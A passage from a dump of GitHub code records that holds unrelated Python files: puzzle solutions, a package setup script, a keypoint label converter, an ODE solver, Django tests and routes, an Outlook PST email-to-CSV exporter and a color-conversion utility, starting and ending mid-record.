1\n if len(result) >= N//2:\n return N//2\n else:\n return len(result)\n \n return answer","repo_name":"Kyuber1007/problemsolving","sub_path":"programmers/폰켓몬.py","file_name":"폰켓몬.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1682117994","text":"from __future__ import absolute_import\nfrom __future__ import print_function\n\nimport os\n\nfrom setuptools import find_packages\nfrom setuptools import setup\n\nprint(\"Generating estdel/__version__.py: \", end=\"\")\n__version__ = open(\"VERSION\").read().strip()\nprint(__version__)\nopen(\"estdel/__version__.py\", \"w\").write('__version__=\"%s\"' % __version__)\n\n# read the latest git status out to an installed file\ntry:\n\n gitbranch = os.popen(\"git symbolic-ref -q HEAD\").read().strip()\n print(\"Generating estdel/__branch__.py\")\n\n gitlog = os.popen('git log -n1 --pretty=\"%h%n%s%n--%n%an%n%ae%n%ai\"').read().strip()\n print(\"Generating estdel/__gitlog__.py.\")\n print(gitlog)\n\nexcept:\n gitbranch = \"unknown branch\"\n gitlog = \"git log not found\"\n\nopen(\"estdel/__branch__.py\", \"w\").write('__branch__ = \"%s\"' % gitbranch)\nopen(\"estdel/__gitlog__.py\", \"w\").write('__gitlog__ = \"\"\"%s\"\"\"' % gitlog)\n\n\ndef get_description():\n def get_description_lines():\n seen_desc = False\n\n with open('README.md') as f:\n for line in f:\n if seen_desc:\n if line.startswith('##'):\n break\n line = line.strip()\n if line:\n yield line\n elif line.startswith('## Description'):\n seen_desc = True\n\n return ' '.join(get_description_lines())\n\n\nsetup(\n name=\"estdel\",\n version=__version__,\n description=\"Estimate interferometer anteanna delays\",\n long_description=get_description(),\n url=\"https://github.com/andrewasheridan/estimating_delays/estdel\",\n author=\"Andrew Sheridan\",\n author_email=\"sheridan@berkeley.edu\",\n license=\"MIT\",\n packages=find_packages(),\n install_requires=[\n \"tensorflow>=1.8.0\",\n ],\n zip_safe=False,\n include_package_data=True,\n test_suite=\"estdel.tests\",\n)\n\n","repo_name":"andrewasheridan/estimating_delays","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27575347932","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the minimumAbsoluteDifference function below.\ndef minimumAbsoluteDifference(arr):\n\n n = len(arr)\n\n diffs = []\n for i in range (0,n):\n for j in range (0,i):\n if i != j:\n value = abs(arr[i]-arr[j])\n diffs.append(value)\n\n return(min(diffs))\n\n\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input())\n\n arr = list(map(int, input().rstrip().split()))\n\n result = minimumAbsoluteDifference(arr)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"wittycodername/hackerrank_challenges","sub_path":"Minimum Absolute Difference in an Array.py","file_name":"Minimum Absolute Difference in an Array.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7297159439","text":"#骨骼关键点为2D,无visible,json由labelme标注生成\r\n#标注时,一个图片有多人时,设置group_id,从0开始;只有一人时无需设置,为None\r\nimport json\r\nimport os\r\nfrom pathlib import Path\r\nimport numpy as np\r\nimport requests\r\nimport yaml\r\nfrom PIL import Image\r\nfrom tqdm import tqdm\r\n\r\nkeypointlist=['cls','cx','cy','w','h','nose', 'left_eye', 'right_eye', 'left_ear', 'right_ear', 'left_shoulder', 'right_shoulder', 'left_elbow',\r\n'right_elbow', 'left_wrist', 'right_wrist', 'left_hip', 'right_hip', 'left_knee', 'right_knee', 'left_ankle', 'right_ankle']\r\n\r\nsavedir='./generated_YOLOtxt/labels' #保存的txt标签存放位置\r\n\r\n\r\ndef convert(file): #读取的json里骨骼关键点为2D,即无Visible,\r\n # Convert Labelbox JSON labels to YOLO labels\r\n names = [] # class names\r\n\r\n with open(file) as f:\r\n data = json.load(f) # load JSON\r\n peoples= np.zeros((1,39), dtype = np.float16)\r\n Height = data['imageHeight']\r\n Width = data['imageWidth']\r\n\r\n\r\n keypoints_dict=data['shapes']\r\n\r\n for shape in keypoints_dict:\r\n\r\n\r\n if shape['label'] == 'person':\r\n if shape['group_id'] and int(shape['group_id'])> 0:\r\n newarray = np.zeros((1, 39), dtype=np.float16)\r\n peoples = np.concatenate((peoples, newarray))\r\n\r\n pidx=shape['group_id'] if shape['group_id'] else 0\r\n\r\n peoples[pidx][0]=0\r\n\r\n\r\n left=shape['points'][0][0] if shape['points'][0][0]>=0.0 else 0.0\r\n top = shape['points'][0][1] if shape['points'][0][1] >= 0.0 else 0.0\r\n right = shape['points'][1][0] if shape['points'][0][0]<=Width else Width\r\n bottom = shape['points'][1][1] if shape['points'][0][1] <= Height else Height #处理越界\r\n\r\n cx, cy = (left+right)/(2*Width ), (top+bottom)/(2*Height) #归一化\r\n w,h= (right-left)/Width, (bottom-top)/Height\r\n\r\n peoples[pidx][1] =cx\r\n peoples[pidx][2] =cy\r\n peoples[pidx][3] =w\r\n peoples[pidx][4] =h\r\n else:\r\n kpidx= keypointlist.index(shape['label'])\r\n peoples_idx=2*kpidx-5\r\n peoples[pidx][peoples_idx]= shape['points'][0][0]/Width\r\n peoples[pidx][peoples_idx + 1] = shape['points'][0][1] /Height\r\n \r\n \r\n txtname=data['imagePath'].split('\\\\')[-1].split('.')[0]\r\n dstpath=os.path.join(savedir,txtname+'.txt')\r\n with open(dstpath, 'w') as f:\r\n for people in peoples:\r\n for i in range(len(people)):\r\n if i==0:\r\n f.write(str(int(people[i]))+' ')\r\n else:\r\n f.write(str(people[i])+' ')\r\n \r\n f.write('\\n')\r\n \r\n\r\nif __name__ == '__main__':\r\n\r\n originaldir=r'D:\\Bone_Joint_Identity\\ultralytics-main\\Datasets\\labels' #要转换的json标签集\r\n lableslist=os.listdir(originaldir)\r\n lableslists=tqdm(lableslist)\r\n for label in lableslists:\r\n jsonfile=os.path.join(originaldir,label)\r\n convert(jsonfile)\r\n lableslists.set_description(\"Processing %s\" % label)","repo_name":"Jihnjockey/Keypoint_lable_convert","sub_path":"keypointNbox_json2yolo.py","file_name":"keypointNbox_json2yolo.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10528995560","text":"import matplotlib.pyplot\nfrom mpl_toolkits.mplot3d import Axes3D\n\ndef X(x, y, s):\n return s * (y - x)\ndef Y(x, y, z, r):\n return (r - z) * x - y\ndef Z(x, y, z, b):\n return x * y - b * z\n\ndef runge_kutta1(x, y, z, h):\n x_new = x\n y_new = y\n z_new = z\n x_new += X(x, y, s) * h\n y_new += Y(x, y, z, r) * h\n z_new += Z(x, y, z, b) * h\n\n return (x_new, y_new, z_new)\n\ndef runge_kutta2(x, y, z, h):\n x_new = x\n y_new = y\n z_new = z\n x_new = X(x, y, s)\n y_new = Y(x, y, z, r)\n z_new = Z(x, y, z, b)\n\n k2 = X((x + x_new * h * c2), (y + y_new * h * c2), s)\n l2 = Y((x + x_new * h * c2), (y + y_new * h * c2), (z + z_new * h * c2), r)\n m2 = Z((x + x_new * h * c2), (y + y_new * h * c2), (z + z_new * h * c2), b)\n\n x += (x_new * b1 + b2 * k2) * h\n y += (y_new * b1 + b2 * l2) * h\n z += (z_new * b1 + b2 * m2) * h\n\n return (x, y, z)\n\ns, r, b = 10, 28, 8 / 3\nx_rk = [1]\ny_rk = [1]\nz_rk = [1]\nx_runge_kutta1 = [1]\ny_runge_kutta1 = [1]\nz_runge_kutta1 = [1]\nc2 = 0.5\nb2 = 1 / (2 * c2)\nb1 = 1 - 1 / (2 * c2)\nh = 0.01\n\nfor i in range(1000):\n x = x_runge_kutta1[i]\n y = y_runge_kutta1[i]\n z = z_runge_kutta1[i]\n position = runge_kutta1(x, y, z, h)\n x_runge_kutta1.append(position[0])\n y_runge_kutta1.append(position[1])\n z_runge_kutta1.append(position[2])\n \nfor i in range(1000):\n x = x_rk[i]\n y = y_rk[i]\n z = z_rk[i]\n position = runge_kutta2(x, y, z, h)\n x_rk.append(position[0])\n y_rk.append(position[1])\n z_rk.append(position[2])\n\nfig = matplotlib.pyplot.figure()\nax_rk = fig.gca(projection='3d')\nax_eu = fig.gca(projection='3d')\nax_eu.plot(x_runge_kutta1, y_runge_kutta1, z_runge_kutta1)\nax_rk.plot(x_rk, y_rk, z_rk)\n\nmatplotlib.pyplot.show()\n","repo_name":"Viktorevna/methods","sub_path":"ode/ode.py","file_name":"ode.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"466103499","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom datetime import datetime, timedelta\n\nimport mock\nimport pytest\n\nfrom travel.avia.library.python.tester.factories import create_company, create_settlement\nfrom travel.avia.library.python.tester.testcase import TestCase\n\nfrom travel.avia.avia_api.avia.v1.model.user import User\nfrom travel.avia.avia_api.avia.v1.model.device import Device\nfrom travel.avia.avia_api.avia.v1.model.flight import Flight\nfrom travel.avia.avia_api.avia.v1.model.flight_status import FlightStatusCheckinStarted\nfrom travel.avia.avia_api.avia.lib.pusher import Pusher\nfrom travel.avia.avia_api.avia.lib.push_notifications import CheckinStartPushNotification\n\n\nclass TestCheckinStartedStatus(TestCase):\n @pytest.fixture()\n def clear_users(self):\n Device.objects.delete()\n User.objects.delete()\n\n @pytest.fixture()\n def clear_flights(self):\n Flight.objects.delete()\n\n @pytest.fixture()\n def create_good_company(self, request):\n company = create_company(title=u'AAAA', sirena_id=u'AAA')\n company.registration_url = 'http://check-in.airlines.net'\n company.registration_phone = '+9 111(4334)9'\n company.save()\n request.addfinalizer(company.delete)\n self.company = company\n\n @pytest.fixture()\n def create_bad_company(self, request):\n company = create_company(title=u'AAAA', sirena_id=u'AAA')\n company.save()\n request.addfinalizer(company.delete)\n self.company = company\n\n @pytest.fixture()\n def create_flight(self, request):\n settlement = create_settlement()\n self.flight = Flight(\n number='SU 11123',\n departure_date=datetime.now() + timedelta(hours=3),\n departure_datetime=datetime.now() + timedelta(hours=3),\n departure=settlement.point_key,\n company_id=self.company.id,\n )\n self.flight.save()\n request.addfinalizer(self.flight.delete)\n\n @pytest.fixture()\n def create_flight_with_user(self, request):\n settlement = create_settlement()\n self.user = User(uuid='test')\n self.user.save()\n self.device = Device(user=self.user, lang='ru', platform='android', country='RU')\n self.device.save()\n self.flight = Flight(\n number='SU 11123',\n departure_date=datetime.now() + timedelta(hours=3),\n departure_datetime=datetime.now() + timedelta(hours=3),\n departure=settlement.point_key,\n company_id=self.company.id,\n )\n self.flight.save()\n\n self.user.flights.append(self.flight)\n self.user.save()\n\n request.addfinalizer(self.flight.delete)\n request.addfinalizer(self.user.delete)\n\n @pytest.mark.usefixtures('clear_flights',\n 'clear_users',\n 'create_good_company',\n 'create_flight_with_user')\n @mock.patch.object(Pusher, 'push_many')\n def test_should_generate_a_full_notification(self, push_many_mock):\n status = FlightStatusCheckinStarted()\n status.apply_to_flight(self.flight)\n\n assert push_many_mock.call_count == 1\n args, kwargs = push_many_mock.call_args\n\n assert not args\n\n message = 'Зарегистрируйтесь на рейс {}'.format(self.flight.number)\n assert kwargs['users'] == [self.user]\n assert kwargs['devices'] == []\n assert kwargs['push_tag'] == CheckinStartPushNotification.tag\n assert kwargs['message'] == message\n assert kwargs['data'] == {\n 'title': message,\n 'u': {\n 'e': 're',\n 'ph': self.company.registration_phone,\n 'url': self.company.registration_url,\n 'fk': str(self.flight.id),\n }\n }\n\n @pytest.mark.usefixtures(\n 'clear_flights',\n 'clear_users',\n 'create_bad_company',\n 'create_flight_with_user',\n )\n @mock.patch.object(Pusher, 'push_many')\n def test_should_generate_a_small_notification(self, push_many_mock):\n assert len(self.user.flights) == 1\n\n status = FlightStatusCheckinStarted()\n status.apply_to_flight(self.flight)\n\n assert push_many_mock.call_count == 1\n args, kwargs = push_many_mock.call_args\n\n assert not args\n\n message = 'Зарегистрируйтесь на рейс {}'.format(self.flight.number)\n assert kwargs['users'] == [self.user]\n assert kwargs['devices'] == []\n assert kwargs['push_tag'] == CheckinStartPushNotification.tag\n assert kwargs['message'] == message\n assert kwargs['data'] == {\n 'title': message,\n 'u': {\n 'e': 're',\n 'fk': str(self.flight.id),\n }\n }\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"travel/tests/test_flight_statuses.py","file_name":"test_flight_statuses.py","file_ext":"py","file_size_in_byte":4871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"465339539","text":"# coding: utf8\nfrom __future__ import unicode_literals, absolute_import, division, print_function\n\nimport json\nfrom datetime import datetime\nfrom itertools import product\n\nimport pytest\nfrom django.test import Client\nfrom hamcrest import assert_that, has_entries, any_of, has_entry\n\nfrom common.models.schedule import RThreadType\nfrom common.tester.factories import create_station, create_thread, create_country\nfrom common.tester.utils.datetime import replace_now\nfrom common.utils.date import RunMask\n\n\ndef test_return_errors_if_wrong_with_query():\n _make_check(\n with_query={'when': '2016-01-01'},\n expected_result=has_entries(\n errors=has_entries(\n number=['Missing data for required field.'],\n pointFrom=['Missing data for required field.'],\n pointTo=['Missing data for required field.'],\n departure=['Missing data for required field.'],\n _schema=[\n {'point_to': 'no_such_point', 'point_from': 'no_such_point'}\n ]\n )\n ),\n expected_code=400\n )\n\n\n@replace_now('2000-01-01 00:00:00')\n@pytest.mark.dbuser\ndef test_no_segments_at_all():\n station_from, station_to = create_station(), create_station()\n _make_check(\n with_query={\n 'pointFrom': station_from.point_key,\n 'pointTo': station_to.point_key,\n 'number': '',\n 'departure': datetime.utcnow()\n },\n expected_result=has_entries(\n errors=has_entries(\n wrongRequest=['no_such_segment']\n )\n ),\n expected_code=400\n )\n\n\n@replace_now('2000-01-01 00:00:00')\n@pytest.mark.dbuser\ndef test_no_segments_with_such_number():\n station_from, station_to, _ = create_segment()\n _make_check(\n with_query={\n 'pointFrom': station_from.point_key,\n 'pointTo': station_to.point_key,\n 'number': 'some-number',\n 'departure': '2001-01-02T00:10'\n },\n expected_result=has_entries(\n errors=has_entries(\n wrongRequest=['no_such_segment']\n )\n ),\n expected_code=400\n )\n\n\n@replace_now('2000-01-01 00:00:00')\n@pytest.mark.dbuser\ndef test_no_segments_with_such_departure():\n station_from, station_to, _ = create_segment()\n _make_check(\n with_query={\n 'pointFrom': station_from.point_key,\n 'pointTo': station_to.point_key,\n 'number': 'doesnt-matter',\n 'departure': '2000-02-02T00:10'\n },\n expected_result=has_entries(\n errors=has_entries(\n wrongRequest=['no_such_segment']\n )\n ),\n expected_code=400\n )\n\n\n@replace_now('2000-01-01 00:00:00')\n@pytest.mark.dbuser\ndef test_segment_found():\n station_from, station_to, _ = create_segment()\n _make_check(\n with_query={\n 'pointFrom': station_from.point_key,\n 'pointTo': station_to.point_key,\n 'number': 'number-2',\n 'departure': '2002-01-02T00:10'\n },\n expected_result=has_entries(\n result=has_entries(\n departure='2002-01-01T21:10:00+00:00',\n arrival='2002-01-01T21:10:00+00:00',\n thread=has_entries(\n uid='number-2',\n title=None,\n number='number-2',\n firstCountryCode='from',\n lastCountryCode='to'\n ),\n stationFrom=has_entries(\n title=station_from.title,\n id=station_from.id\n ),\n stationTo=has_entries(\n title=station_to.title,\n id=station_to.id\n )\n )\n ),\n expected_code=200\n )\n\n\n@replace_now('2000-01-01 00:00:00')\n@pytest.mark.dbuser\ndef test_meta_segment_found():\n station_from, station_to, _ = create_segment_keys(keys=['303Я', '303М'])\n expected_result = has_entries(\n result=has_entries(\n number='303МЯ',\n thread=any_of(has_entry('number', '303М'), has_entry('number', '303Я'))\n )\n )\n _make_check(\n with_query={\n 'pointFrom': station_from.point_key,\n 'pointTo': station_to.point_key,\n 'number': '303Я',\n 'departure': '2002-01-02T00:10'\n },\n expected_result=expected_result,\n expected_code=200\n )\n _make_check(\n with_query={\n 'pointFrom': station_from.point_key,\n 'pointTo': station_to.point_key,\n 'number': '303М',\n 'departure': '2002-01-02T00:10'\n },\n expected_result=expected_result,\n expected_code=200\n )\n _make_check(\n with_query={\n 'pointFrom': station_from.point_key,\n 'pointTo': station_to.point_key,\n 'number': '303МЯ',\n 'departure': '2002-01-02T00:10'\n },\n expected_result=expected_result,\n expected_code=200\n )\n\n\ndef _make_check(with_query, expected_code=200, expected_result=None, lang='ru'):\n response = Client().get('/{lang}/search/train-segment/'.format(lang=lang), with_query)\n assert response.status_code == expected_code\n if expected_result is not None:\n assert_that(json.loads(response.content), expected_result)\n\n\ndef create_segment():\n country_from = create_country(code='from')\n country_to = create_country(code='to')\n\n station_from = create_station(country=country_from)\n station_to = create_station(country=country_to)\n\n for shift, t_type in product(range(1, 11), ['train']):\n key = 'number-{}'.format(shift)\n create_thread(\n __={'calculate_noderoute': True},\n\n uid=key,\n number=key,\n t_type=t_type,\n type=RThreadType.BASIC_ID,\n year_days=RunMask.range(datetime(2000, 1, shift), datetime(2000, 1, shift + 1)),\n schedule_v1=[\n [None, 10, station_from],\n [10, None, station_to],\n ],\n )\n return station_from, station_to, []\n\n\ndef create_segment_keys(keys):\n country_from = create_country(code='from')\n country_to = create_country(code='to')\n\n station_from = create_station(country=country_from)\n station_to = create_station(country=country_to)\n\n for key in keys:\n create_thread(\n __={'calculate_noderoute': True},\n\n uid=key,\n number=key,\n t_type='train',\n type=RThreadType.BASIC_ID,\n year_days=RunMask.range(datetime(2000, 1, 1), datetime(2000, 1, 10)),\n schedule_v1=[\n [None, 10, station_from],\n [10, None, station_to],\n ],\n )\n return station_from, station_to, []\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"travel/tests/search/train_segment/test_train_segment.py","file_name":"test_train_segment.py","file_ext":"py","file_size_in_byte":6903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12727451765","text":"from django.urls import include, path\r\nfrom rest_framework import routers\r\nfrom . import views\r\n\r\nrouter = routers.DefaultRouter()\r\nrouter.register(r'usuario', views.UsuarioViewSet)\r\nrouter.register(r'partida', views.PartidaViewSet)\r\nrouter.register(r'nivel', views.NivelViewSet)\r\nrouter.register(r'pregunta', views.PreguntaViewSet)\r\n\r\nurlpatterns = [\r\n path('',views.index, name = 'index'), \r\n path('about', views.about, name = 'about'),\r\n path('service', views.service, name = 'service'),\r\n path('contact', views.contact, name = 'contact'),\r\n path('login', views.login, name = 'login'), \r\n path('register', views.register, name = 'register'),\r\n path('administrator', views.administrator, name = 'administrator'),\r\n path('panel', views.panel_admin, name = 'panel'),\r\n path('email_send', views.send_email, name = 'email_send'),\r\n path('procesamiento', views.procesamiento, name = 'procesamiento'),\r\n path('suma', views.suma, name = 'suma'),\r\n path('resta', views.resta, name = 'resta'),\r\n path('multiplicacion', views.multiplicacion, name = 'multiplicacion'),\r\n path('division', views.division, name = 'division'),\r\n path('auth', views.auth, name = 'auth'),\r\n path('verify', views.verify, name = 'verify'),\r\n # path('api', include(router.urls)),\r\n # path('api-auth/', include('rest_framework.urls', namespace = 'rest_framework')),\r\n path('apiusuarioidunity', views.usuario_unity, name = 'apiusuarioidunity'),\r\n path('apipreguntasunity', views.preguntas_unity, name = 'apipreguntasunity'),\r\n path('apipartidasunity', views.partidas_unity, name = 'apipartidasunity'),\r\n path('grafica/', views.grafica, name = 'datosgrafica'),\r\n path('grafica/datos', views.datos_grafica),\r\n path('graphdata',views.graphdata),\r\n path('bar', views.barras, name = 'bar'),\r\n]\r\n","repo_name":"AntonioLaurance/FractionSpace","sub_path":"Fraction Space NUEVO/videogame/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"17806669415","text":"import random\n\ndef geradorNumeroAleatorio(maximo) :\n lis = []\n while len(lis) < maximo:\n r = random.randint(1,maximo)\n if str(r) not in lis :\n lis.append(str(r))\n return lis\n\ndef main(nos,nummaxvizinhos):\n\n lista_nos = geradorNumeroAleatorio(nos)\n grafo = {}\n lista_vizinhos = []\n for i in lista_nos:\n num_vizinhos = random.randint(1,nummaxvizinhos)\n lista_vizinhos = geradorNumeroAleatorio(num_vizinhos) \n grafo[str(i)] = lista_vizinhos\n return grafo\n","repo_name":"projeto-de-algoritmos/Grafos1_Fofocando","sub_path":"gerador_aleatorio.py","file_name":"gerador_aleatorio.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30446710505","text":"from courses import Courses\nimport json\n\n# Path: main.py\ndef main(query: str):\n # get the courses\n courses = Courses.query(query)\n\n # get the details\n details = Courses.details(courses, query)\n\n # get the requisites\n requisites = Courses.requisites(details)\n\n # write requesites to file\n with open(\"requisites.json\", \"w\") as f:\n f.write(json.dumps(requisites, indent=4))\n\n# run the main function\nif __name__ == \"__main__\":\n main(\"CIS*4650\")","repo_name":"Simpson-Computer-Technologies-Research/uguelph_find_preqs","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29647091682","text":"import pypff\nimport unicodecsv as csv\nimport os\nimport re\nfrom datetime import datetime\nfrom dateutil.parser import parse\n\ndef folderTraverse(base):\n for folder in base.sub_folders:\n if folder.number_of_sub_folders:\n folderTraverse(folder) # Call new folder to traverse:\n if folder.name == \"CSRT - Listserv\":\n checkForMessages(folder)\n\ndef checkForMessages(folder):\n message_list = []\n for message in folder.sub_messages:\n # getSenderName(message.get_transport_headers(), \"name\")\n message_dict = processMessage(message)\n message_list.append(message_dict)\n folderReport(message_list, folder.name)\n\ndef getSenderName(text, type):\n pattern = re.compile(r'From: (.*?>)')\n name = \"\"\n email = \"\"\n\n for matched in re.finditer(pattern, text):\n matched.group(1)\n name = matched.group(1)[0:matched.group(1).index('<')].replace('\"','').strip()\n email = matched.group(1)[matched.group(1).index('<')+1:matched.group(1).index('>')]\n break\n\n if type == \"name\":\n return name\n\n if type == \"email\":\n return email\n\ndef getDate(text):\n \"\"\"\n It is important to consider time dfferences as well: Fri, 10 Jul 2015 15:07:29 -0400\n :param text:\n :return:\n \"\"\"\n date = text[text.index(\"Date: \")+6:text.index(\"Date: \") + 37]\n\n if date[len(date)-1] != '0':\n date = date.strip().replace('\\r','').replace('\\n','')\n date = date[:5] + \"0\" + date[5:]\n\n return date\n\ndef processMessage(message):\n return {\n \"subject\": message.subject,\n \"to\": message.sender_name,\n \"body\": message.plain_text_body,\n \"sender_name\": getSenderName(message.get_transport_headers(), \"name\"),\n \"sender_email\": getSenderName(message.get_transport_headers(), \"email\"),\n \"delivery_time\": getDate(message.get_transport_headers()),\n \"attachment_count\": message.number_of_attachments,\n }\n\ndef sortEmailsByDate(message_list):\n\n for i in range(0, len(message_list)):\n print(i)\n for j in range(i + 1, len(message_list)):\n # date1 = datetime.strptime(message_list[i]['delivery_time'], \"%a, %d %b %Y %H:%M:%S %z\")\n # date2 = datetime.strptime(message_list[j]['delivery_time'], \"%a, %d %b %Y %H:%M:%S %z\")\n date1 = parse(message_list[i]['delivery_time'])\n date2 = parse(message_list[j]['delivery_time'])\n\n if date1 > date2:\n temp = message_list[i]\n message_list[i] = message_list[j]\n message_list[j] = temp\n\ndef folderReport(message_list, folder_name):\n # CSV Report\n fout_path = makePath(folder_name + \".csv\")\n fout = open(fout_path, 'wb')\n header = ['subject', 'to', 'body',\n 'sender_name', 'sender_email', 'delivery_time', 'attachment_count']\n\n #sort rows by column\n sortEmailsByDate(message_list)\n\n csv_fout = csv.DictWriter(fout, fieldnames=header, extrasaction='ignore')\n csv_fout.writeheader()\n csv_fout.writerows(message_list)\n fout.close()\n\ndef makePath(file_name):\n return os.path.abspath(os.path.join(\"Resources\", file_name))\n\npst = pypff.open(\"Resources/CSRT Data/CSRT_ListServ_Archive.pst\")\nroot = pst.get_root_folder()\nfolderTraverse(root)\n\n","repo_name":"SimaRezaeipour/Interactive-clustering","sub_path":"PstToCsv.py","file_name":"PstToCsv.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25737252094","text":"from __future__ import print_function\nimport sys\nimport os\nimport re\nimport math\nimport codecs\nimport colorsys\nimport webcolors\n\nfrom alogging import ALogger\nlg = ALogger(1)\npalColors = {}\n\n__metadata__ = {\n \"title\" : \"colorConvert.py\",\n \"description\" : \"Normalize various color specs.\",\n \"rightsHolder\" : \"Steven J. DeRose\",\n \"creator\" : \"http://viaf.org/viaf/50334488\",\n \"type\" : \"http://purl.org/dc/dcmitype/Software\",\n \"language\" : \"Python 3.7\",\n \"created\" : \"2016-04-14\",\n \"modified\" : \"2021-06-24\",\n \"publisher\" : \"http://github.com/sderose\",\n \"license\" : \"https://creativecommons.org/licenses/by-sa/3.0/\"\n}\n__version__ = __metadata__[\"modified\"]\n\n\ndescr=\"\"\"\n=Description=\n\n[not quite finished]\n\nNormalize colors to a given form from a variety of other forms.\n\nForms accepted:\n #RGB\n #RRGGBB\n #RRRGGGBBB\n #RRRRGGGGBBBB\n rgb(r, g, b)\n rgb(r, g, b, h)\n hsv(h, s, v))\n hsva(h, s, v, a)\n yiq(y, i, q)\n HTML and CSS color names\n\nArguments to the function-style forms may be specified as any of:\n decimal integers from 0 to 255\n hexadecimal numbers prefixed with \"0x\", from 0x00 to 0xff\n octal numbers with a leading \"0\"\n decimal non-integers from 0 to 255\n decimal numbers followed by a percent sign (\"%\")\n\n'''Note''': If some input cannot be parsed,\na ''ValueError'' exception is raised.\n\n\n=Related Commands=\n\nPip packages: colorsys, webcolors [https://pypi.python.org/pypi/webcolors/1.3].\n\nPantone conversion is said to be supported\nby [https://pypi.python.org/pypi/pycolorname].\n\n`python-colormath` supports many color spaces, but it's ''big''.\nSee ''https://python-colormath.readthedocs.org/en/latest/].\n\n\n=Known bugs and limitations=\n\nAlthough the rgba() and hsva() forms are accepted, the alpha (transparency)\ncomponent is discarded.\n\nCMYK, spot color systems, and many other possibilities are not supported.\n\nConversion I named HTML colors is not provided (yet).\n\nA feature to pick, for each input color, the nearest color from a given\npal*[ae]t*e*, would be helpful.\n\n\n=References=\n\n[http://www.w3.org/TR/css3-color/#SRGB]\n\n[https://en.wikipedia.org/wiki/CMYK_color_model#Conversion]\n\n\n=History=\n\n 2016-04-14: Written. Copyright by Steven J. DeRose.\n 2018-04-18: lint.\n 2020-03-03, 2021-06-24: New layout.\n\n\n=Rights=\n\nCopyright 2016-04-14 by Steven J. DeRose. This work is licensed under a\nCreative Commons Attribution-Share-alike 3.0 unported license.\nFor further information on this license, see\n[https://creativecommons.org/licenses/by-sa/3.0].\n\nFor the most recent version, see [http://www.derose.net/steve/utilities]\nor [https://github.com/sderose].\n\n\n=Options=\n\"\"\"\n\nknownSchemes = [ 'rgb', 'rgba', 'hsv', 'hsva', 'yiq', 'hls' ]\ntoken = r'\\s*([\\da-fA-F.]+%?)'\ntry:\n fe = r'(\\w+)\\(%s,%s,%s(,%s)?\\)' % (token,token,token,token)\n print(\"Expr: /%s/'\" % (fe))\n functionExpr = re.compile(fe)\nexcept re.error as e0:\n print(\"Bad regex: '%s'.\\n %s\" % (fe, e0))\n sys.exit()\n\n\n###############################################################################\n#\ndef doOneFile(fh, path):\n \"\"\"Read and deal with one individual file.\n \"\"\"\n recnum = 0\n rec = \"\"\n while (True):\n try:\n rec = fh.readline()\n except IOError as e:\n lg.error(\"Error (%s) reading record %d of '%s'.\" %\n (type(e), recnum, path))\n break\n if (len(rec) == 0): break # EOF\n recnum += 1\n rec = rec.rstrip()\n rgbTriple = cconvert(rec)\n outColor = serialize(rgbTriple, args.out)\n if (args.pal):\n #nearest = findNearestPalColor(serialize(rgbTriple, 'rgb6'))\n #outColor += '\\t Nearest: %s' % (nearest)\n lg.error(\"PAL not yet supported.\")\n sys.exit()\n print(outColor)\n fh.close()\n return(recnum)\n\ndef cconvert(s):\n # Try HTML and CSS names. 'webcolors' returns as $RRGGBB.\n rgbString = None\n if (s in webcolors.HTML4_NAMES_TO_HEX):\n rgbString = webcolors.HTML4_NAMES_TO_HEX[s]\n #print(\"Found '%s' in HTML4 colors. Got: %s.\" % (s, rgbString))\n elif (s in webcolors.CSS2_NAMES_TO_HEX):\n rgbString = webcolors.CSS2_NAMES_TO_HEX[s]\n #print(\"Found '%s' in CSS2 colors. Got: %s.\" % (s, rgbString))\n elif (s in webcolors.CSS21_NAMES_TO_HEX):\n rgbString = webcolors.CSS21_NAMES_TO_HEX[s]\n #print(\"Found '%s' in CSS2.1 colors. Got: %s.\" % (s, rgbString))\n elif (s in webcolors.CSS3_NAMES_TO_HEX):\n rgbString = webcolors.CSS3_NAMES_TO_HEX[s]\n #print(\"Found '%s' in CSS3 colors. Got: %s.\" % (s, rgbString))\n if (rgbString is not None):\n s = rgbString\n\n # Try functional notations, like 'rgb(12, 50%, 0xA0)'\n mat = re.match(functionExpr, s)\n if (mat):\n #print(\"functional\")\n func = mat.group(1)\n a1 = convertNumber(mat.group(2))\n a2 = convertNumber(mat.group(3))\n a3 = convertNumber(mat.group(4))\n # TODO: Do something with alpha....\n # if (mat.group(5)): alpha = convertNumber(mat.group(5))\n # else: alpha = 0\n\n if (func == 'rgb' or func == 'rgba'):\n rgbTriple = [ a1, a2, a3 ]\n elif (func == 'hls'):\n rgbTriple = colorsys.hls_to_rgb(a1, a2, a3)\n elif (func == 